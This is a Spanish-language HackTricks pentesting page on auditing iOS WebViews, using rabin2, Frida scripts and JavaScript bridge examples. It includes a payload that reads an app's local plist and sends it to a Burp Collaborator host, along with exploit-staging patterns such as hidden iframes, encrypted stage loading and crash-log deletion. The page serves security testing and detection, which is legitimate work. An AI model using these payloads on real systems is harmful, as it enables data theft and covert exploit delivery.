iOS WebViews

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

El código de esta página fue extraído de aquí. Consulta la página para más detalles.

Tipos de WebViews

Los WebViews se utilizan dentro de las aplicaciones para mostrar contenido web de forma interactiva. Diversos tipos de WebViews ofrecen distintas funcionalidades y características de seguridad para aplicaciones iOS. Aquí hay una breve descripción:

  • UIWebView, que ya no se recomienda desde iOS 12 en adelante debido a que no permite desactivar JavaScript, lo que lo hace susceptible a inyección de scripts y ataques de Cross-Site Scripting (XSS).

  • WKWebView es la opción preferida para incorporar contenido web en las aplicaciones, ofreciendo mayor control sobre el contenido y las funciones de seguridad. JavaScript está habilitado por defecto, pero puede desactivarse si es necesario. También soporta características para evitar que JavaScript abra ventanas automáticamente y garantiza que todo el contenido se cargue de forma segura. Además, la arquitectura de WKWebView minimiza el riesgo de que la corrupción de memoria afecte al proceso principal de la aplicación.

  • SFSafariViewController ofrece una experiencia de navegación web estandarizada dentro de las aplicaciones, reconocible por su diseño específico que incluye un campo de dirección solo lectura, botones de compartir y navegación, y un enlace directo para abrir contenido en Safari. A diferencia de WKWebView, JavaScript no puede desactivarse en SFSafariViewController, que además comparte cookies y datos con Safari, manteniendo la privacidad del usuario frente a la aplicación. Debe mostrarse de forma prominente según las directrices de App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Resumen de la Exploración de la Configuración de WebViews

Resumen del Análisis Estático

Al examinar las configuraciones de WebViews, se enfocan principalmente dos tipos: UIWebView y WKWebView. Para identificar estos WebViews dentro de un binario, se utilizan comandos que buscan referencias a clases específicas y métodos de inicialización.

  • Identificación de UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Este comando ayuda a localizar instancias de UIWebView buscando cadenas de texto relacionadas con ella en el binario.

  • Identificación de WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

De manera similar, para WKWebView, este comando busca en el binario cadenas de texto indicativas de su uso.

Además, para encontrar cómo se inicializa un WKWebView, se ejecuta el siguiente comando, apuntando a la firma del método relacionada con su inicialización:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Verificación de la configuración de JavaScript

Para WKWebView, se destaca que desactivar JavaScript es una buena práctica a menos que sea necesario. Se busca en el binario compilado para confirmar que la propiedad javaScriptEnabled esté establecida en false, asegurando que JavaScript esté desactivado:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Verificación de solo contenido seguro

WKWebView ofrece la capacidad de identificar problemas de contenido mixto, en contraste con UIWebView. Esto se verifica usando la propiedad hasOnlySecureContent para asegurar que todos los recursos de la página se carguen a través de conexiones seguras. La búsqueda en el binario compilado se realiza de la siguiente manera:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Información de Análisis Dinámico

El análisis dinámico implica inspeccionar el heap en busca de instancias de WebView y sus propiedades. Se utiliza un script llamado webviews_inspector.js para este propósito, dirigido a instancias de UIWebView, WKWebView y SFSafariViewController. Registra información sobre las instancias encontradas, incluyendo URLs y configuraciones relacionadas con JavaScript y contenido seguro.

La inspección del heap puede realizarse usando ObjC.choose() para identificar instancias de WebView y comprobar las propiedades javaScriptEnabled y hasonlysecurecontent.

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

El script se ejecuta con:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Resultados clave:

  • Las instancias de WebViews se localizan e inspeccionan correctamente.
  • Se verifica la activación de JavaScript y la configuración de contenido seguro.

Este resumen encapsula los pasos críticos y comandos implicados en el análisis de las configuraciones de WebView mediante enfoques estáticos y dinámicos, centrándose en características de seguridad como la activación de JavaScript y la detección de contenido mixto.

WebView Protocol Handling

El manejo de contenido en WebViews es un aspecto crítico, sobre todo al tratar con diversos protocolos como http(s)://, file:// y tel://. Estos protocolos permiten la carga de contenido remoto y local dentro de las apps. Se enfatiza que al cargar contenido local, se deben tomar precauciones para evitar que los usuarios influyan en el nombre o la ruta del archivo y para impedir que editen el contenido.

WebViews ofrecen diferentes métodos para cargar contenido. Para UIWebView, ahora deprecado, se usan métodos como loadHTMLString:baseURL: y loadData:MIMEType:textEncodingName:baseURL:. WKWebView, por su parte, emplea loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: y loadRequest: para contenido web. Métodos como pathForResource:ofType:, URLForResource:withExtension: y init(contentsOf:encoding:) se utilizan típicamente para cargar archivos locales. El método loadFileURL:allowingReadAccessToURL: es especialmente notable por su capacidad de cargar una URL o directorio específico en el WebView, lo que podría exponer datos sensibles si se especifica un directorio.

Para encontrar estos métodos en el código fuente o en el binario compilado, se pueden usar comandos como los siguientes:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

En cuanto al acceso a archivos, UIWebView lo permite de forma universal, mientras que WKWebView introduce las configuraciones allowFileAccessFromFileURLs y allowUniversalAccessFromFileURLs para gestionar el acceso desde URLs de archivo, con ambas en false por defecto.

Se proporciona un ejemplo de script de Frida para inspeccionar las configuraciones de WKWebView relacionadas con la seguridad:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Por último, un ejemplo de payload JavaScript dirigido a exfiltrating archivos locales demuestra el riesgo de seguridad potencial asociado con WebViews mal configuradas. Este payload codifica el contenido de los archivos en formato hex antes de transmitirlos a un servidor, subrayando la importancia de medidas de seguridad estrictas en las implementaciones de WebView.

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

Métodos nativos expuestos a través de WebViews

Entendiendo las interfaces nativas de WebView en iOS

Desde iOS 7, Apple proporcionó APIs para la comunicación entre JavaScript en un WebView y objetos nativos Swift u Objective-C. Esta integración se facilita principalmente mediante dos métodos:

  • JSContext: Se crea automáticamente una función JavaScript cuando un bloque Swift u Objective-C se enlaza a un identificador dentro de un JSContext. Esto permite una integración y comunicación transparente entre JavaScript y el código nativo.
  • JSExport Protocol: Al heredar el protocolo JSExport, propiedades nativas, métodos de instancia y métodos de clase pueden exponerse a JavaScript. Esto significa que cualquier cambio realizado en el entorno JavaScript se refleja en el entorno nativo, y viceversa. Sin embargo, es esencial asegurarse de que no se expongan datos sensibles de forma inadvertida mediante este método.

Accediendo a JSContext en Objective-C

En Objective-C, el JSContext para un UIWebView puede recuperarse con la siguiente línea de código:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Comunicación con WKWebView

Para WKWebView, el acceso directo a JSContext no está disponible. En su lugar, se utiliza el paso de mensajes a través de la función postMessage, lo que posibilita la comunicación de JavaScript con el código nativo. Los manejadores para estos mensajes se configuran de la siguiente manera, permitiendo que JavaScript interactúe con la aplicación nativa de forma segura:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interacción y Pruebas

JavaScript puede interactuar con la capa nativa definiendo un manejador de mensajes de script. Esto permite operaciones como invocar funciones nativas desde una página web:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Para capturar y manipular el resultado de una llamada a una función nativa, se puede sobrescribir la función callback dentro del HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

El lado nativo maneja la llamada de JavaScript como se muestra en la clase JavaScriptBridgeMessageHandler, donde el resultado de operaciones como multiplicar números se procesa y se envía de vuelta a JavaScript para su visualización o manipulación adicional:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS Web Exploit Delivery & Staging Tradecraft

Los siguientes patrones se han observado en iOS Safari/WebKit exploit delivery chains del mundo real y son útiles para el análisis, la detección y la emulación controlada.

Multi-stage loader via hidden iframes

Un patrón de staging común es condicionar la ejecución para evitar reinfección o análisis y luego inyectar un iframe oculto/fuera de pantalla para la siguiente etapa:

<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>

Una página de staging mínima puede inyectar el main loader mediante document.write():

<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>

Las etapas del loader con frecuencia cargan JavaScript subsecuente de forma síncrona:

function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}

Las etapas posteriores pueden ejecutarse en un contexto similar a un worker construyendo una Blob URL:

const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);

Forzar a Safari a acceder a la superficie WebKit/JSC

Si una víctima abre un cebo en otro navegador, un manejador de protocolo puede forzar Safari:

if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}

Recuperación de stage cifrado (ECDH + AES)

Algunos loaders cifran exploit stages en tránsito. Un flujo mínimo del cliente es: generar un ECDH keypair efímero, hacer un POST con la public key en base64, recibir blobs cifrados, derivar una AES key, descifrar, y luego decodificar a JavaScript:

const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));

Watering-hole injection pattern

Los sitios comprometidos pueden cargar un script remoto que crea un iframe fuera de pantalla y lo restringe con un sandbox mientras sigue permitiendo la ejecución de scripts:

<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);

Indicadores anti-forense post-explotación (JS implants)

  • Staging temporal bajo /tmp/<uuid>.<digits>/ con subcarpetas como STORAGE, DATA, y TMP.
  • Eliminación de crash logs en /var/mobile/Library/Logs/CrashReporter/ (a menudo filtrados por substrings de WebKit/SpringBoard).
  • Eliminación recursiva de /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/.

Depuración de iOS WebViews

(Tutorial basado en el de https://blog.vuplex.com/debugging-webviews)

Para depurar eficazmente contenido web dentro de webviews en iOS, se requiere una configuración específica que implica las herramientas de desarrollo de Safari, dado que los mensajes enviados a console.log() no se muestran en los logs de Xcode. Aquí hay una guía simplificada, enfatizando los pasos y requisitos clave:

  • Preparación en el dispositivo iOS: Es necesario activar el Safari Web Inspector en tu dispositivo iOS. Esto se hace yendo a Ajustes > Safari > Avanzado, y habilitando el Web Inspector.

  • Preparación en el equipo macOS: En tu máquina de desarrollo macOS, debes habilitar las herramientas de desarrollador dentro de Safari. Abre Safari, accede a Safari > Preferencias > Avanzado, y selecciona la opción para Mostrar el menú Desarrollar.

  • Conexión y depuración: Tras conectar tu dispositivo iOS a tu equipo macOS y lanzar tu aplicación, usa Safari en macOS para seleccionar el webview que quieres depurar. Navega a Desarrollar en la barra de menús de Safari, coloca el cursor sobre el nombre de tu dispositivo iOS para ver una lista de instancias de webview, y selecciona la instancia que desees inspeccionar. Se abrirá una nueva ventana del Safari Web Inspector para este propósito.

Sin embargo, ten en cuenta las limitaciones:

  • La depuración con este método requiere un dispositivo macOS ya que depende de Safari.
  • Solo los webviews en aplicaciones cargadas en tu dispositivo mediante Xcode son elegibles para depuración. Los webviews en apps instaladas vía App Store o Apple Configurator no pueden ser depurados de esta manera.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks